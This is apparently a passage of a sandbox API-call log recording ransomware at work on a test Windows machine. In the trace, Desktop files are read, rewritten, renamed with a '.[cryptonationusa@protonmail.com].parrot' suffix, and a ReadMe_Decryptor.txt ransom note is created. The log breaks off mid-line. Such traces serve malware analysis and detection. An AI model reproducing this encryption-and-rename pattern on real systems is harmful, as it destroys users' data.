[0031.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0031.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0031.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0031.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0031.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0031.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0031.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0031.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0031.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0031.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0031.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x629218 [0031.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0031.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x62c1b0 [0031.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.335] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x630900 [0031.335] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62c1b0 | out: hHeap=0x5b0000) returned 1 [0031.337] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa028) returned 0x6373e0 [0031.337] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x630900 | out: hHeap=0x5b0000) returned 1 [0031.338] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xf02a) returned 0x665318 [0031.339] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6373e0 | out: hHeap=0x5b0000) returned 1 [0031.339] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1682d) returned 0x629218 [0031.339] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x665318 | out: hHeap=0x5b0000) returned 1 [0031.339] WriteFile (in: hFile=0x258, lpBuffer=0x629220*, nNumberOfBytesToWrite=0x147c8, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x629220*, lpNumberOfBytesWritten=0x18fa94*=0x147c8, lpOverlapped=0x0) returned 1 [0031.340] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.340] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x147c7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0031.340] CloseHandle (hObject=0x258) returned 1 [0031.341] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x5e9a18 [0031.341] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x601838 [0031.341] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5e9a18 | out: hHeap=0x5b0000) returned 1 [0031.341] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3aRPh8r.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3arph8r.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3aRPh8r.flv.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3arph8r.flv.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0031.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0031.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0031.342] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6452d8 | out: hHeap=0x5b0000) returned 1 [0031.342] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0031.342] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0031.342] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0031.342] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0031.342] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0031.343] GetFileType (hFile=0x258) returned 0x1 [0031.343] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0031.353] lstrcmpW (lpString1="69-CKIdwROtr3-Kc.gif", lpString2="ReadMe_Decryptor.txt") returned -1 [0031.353] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\69-CKIdwROtr3-Kc.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\69-ckidwrotr3-kc.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0031.353] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x546b [0031.354] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5583, nNumberOfBytesToLockHigh=0x0) returned 1 [0031.354] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0031.354] ReadFile (in: hFile=0x258, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0031.354] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0031.354] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x546b, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0x546b, lpOverlapped=0x0) returned 1 [0031.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0031.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0031.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0031.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0031.354] GetLastError () returned 0x0 [0031.354] SetLastError (dwErrCode=0x0) [0031.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0031.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0031.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0031.354] GetLastError () returned 0x0 [0031.354] SetLastError (dwErrCode=0x0) [0031.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0031.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.354] GetLastError () returned 0x0 [0031.355] SetLastError (dwErrCode=0x0) [0031.355] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x6069b0 [0031.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0031.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0031.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0031.355] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0031.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0031.355] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0031.355] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x62d258 [0031.355] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xb) returned 0x606998 [0031.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6069b0 | out: hHeap=0x5b0000) returned 1 [0031.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0031.357] GetLastError () returned 0x0 [0031.357] SetLastError (dwErrCode=0x0) [0031.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0031.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0031.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0031.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0031.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0031.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0031.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d6de8 [0031.357] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0031.357] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.357] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0031.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0031.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0031.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0031.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0031.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0031.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0031.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0031.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606950 [0031.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0031.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0031.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb6c8 [0031.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0031.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d448 [0031.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0031.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0031.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d448 | out: hHeap=0x5b0000) returned 1 [0031.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c75b8 [0031.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b478 [0031.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x5b0000) returned 1 [0031.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x601838 [0031.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b478 | out: hHeap=0x5b0000) returned 1 [0031.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x5d6de8 [0031.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x601838 | out: hHeap=0x5b0000) returned 1 [0031.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x606a50 [0031.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x5d6de8 [0031.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606a50 | out: hHeap=0x5b0000) returned 1 [0031.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x60c798 [0031.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x6105c0 [0031.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60c798 | out: hHeap=0x5b0000) returned 1 [0031.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x5d33c8 [0031.358] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6105c0 | out: hHeap=0x5b0000) returned 1 [0031.358] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x5d4d18 [0031.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0031.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x5d8fd0 [0031.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0031.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x5cce58 [0031.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0031.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x5ce398 [0031.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0031.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x629218 [0031.359] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ce398 | out: hHeap=0x5b0000) returned 1 [0031.359] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x635298 [0031.360] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.360] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6ad1) returned 0x6399e8 [0031.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x635298 | out: hHeap=0x5b0000) returned 1 [0031.361] WriteFile (in: hFile=0x258, lpBuffer=0x639a00*, nNumberOfBytesToWrite=0x5588, lpNumberOfBytesWritten=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x639a00*, lpNumberOfBytesWritten=0x18fa94*=0x5588, lpOverlapped=0x0) returned 1 [0031.361] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6399e8 | out: hHeap=0x5b0000) returned 1 [0031.362] UnlockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5583, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0031.362] CloseHandle (hObject=0x258) returned 1 [0031.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x5cc038 [0031.363] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd0) returned 0x5d7858 [0031.363] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cc038 | out: hHeap=0x5b0000) returned 1 [0031.364] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\69-CKIdwROtr3-Kc.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\69-ckidwrotr3-kc.gif"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\69-CKIdwROtr3-Kc.gif.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\69-ckidwrotr3-kc.gif.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0031.364] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d7858 | out: hHeap=0x5b0000) returned 1 [0031.364] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cbeb0 | out: hHeap=0x5b0000) returned 1 [0031.364] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x62d258 | out: hHeap=0x5b0000) returned 1 [0031.364] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x50) returned 0x5eba80 [0031.364] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x80) returned 0x60c5e8 [0031.364] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d49a0 [0031.365] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0031.365] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18f888, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0031.365] GetFileType (hFile=0x258) returned 0x1 [0031.366] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d4d18 [0031.485] lstrcmpW (lpString1="7fSPfZw.pps", lpString2="ReadMe_Decryptor.txt") returned -1 [0031.485] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\7fSPfZw.pps" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\7fspfzw.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x258 [0031.485] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x18fb10 | out: lpFileSizeHigh=0x18fb10*=0x0) returned 0x5994 [0031.485] LockFile (hFile=0x258, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5aac, nNumberOfBytesToLockHigh=0x0) returned 1 [0031.485] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0031.485] ReadFile (in: hFile=0x258, lpBuffer=0x18faf0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x18faf0*, lpNumberOfBytesRead=0x18fa94*=0x18, lpOverlapped=0x0) returned 1 [0031.486] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0031.486] ReadFile (in: hFile=0x258, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x5994, lpNumberOfBytesRead=0x18fa94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18fa94*=0x5994, lpOverlapped=0x0) returned 1 [0031.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0031.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0031.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0031.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5d4d18 [0031.486] GetLastError () returned 0x0 [0031.486] SetLastError (dwErrCode=0x0) [0031.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x78) returned 0x5c2680 [0031.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606950 [0031.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x14) returned 0x5cb6c8 [0031.486] GetLastError () returned 0x0 [0031.486] SetLastError (dwErrCode=0x0) [0031.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb6c8 | out: hHeap=0x5b0000) returned 1 [0031.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.486] GetLastError () returned 0x0 [0031.486] SetLastError (dwErrCode=0x0) [0031.486] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.486] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0031.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606998 [0031.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x5d8fd0 [0031.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1033) returned 0x5cce58 [0031.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2033) returned 0x5cde98 [0031.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cce58 | out: hHeap=0x5b0000) returned 1 [0031.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4033) returned 0x629218 [0031.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cde98 | out: hHeap=0x5b0000) returned 1 [0031.487] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8033) returned 0x62d258 [0031.487] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x629218 | out: hHeap=0x5b0000) returned 1 [0031.561] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d49a0 [0031.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606998 | out: hHeap=0x5b0000) returned 1 [0031.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.561] GetLastError () returned 0x0 [0031.561] SetLastError (dwErrCode=0x0) [0031.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0031.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8fd0 | out: hHeap=0x5b0000) returned 1 [0031.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606950 | out: hHeap=0x5b0000) returned 1 [0031.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c2680 | out: hHeap=0x5b0000) returned 1 [0031.561] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0031.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606cd8 | out: hHeap=0x5b0000) returned 1 [0031.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4d18 | out: hHeap=0x5b0000) returned 1 [0031.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100) returned 0x5d6de8 [0031.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x180) returned 0x5cbeb0 [0031.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d6de8 | out: hHeap=0x5b0000) returned 1 [0031.562] SetFilePointerEx (in: hFile=0x258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0031.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d49a0 [0031.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4960 [0031.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d49a0 [0031.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0031.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0031.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d49a0 | out: hHeap=0x5b0000) returned 1 [0031.562] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d49a0 [0031.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0031.562] RtlAllocateHeap (HeapHandle=0x5b0000, 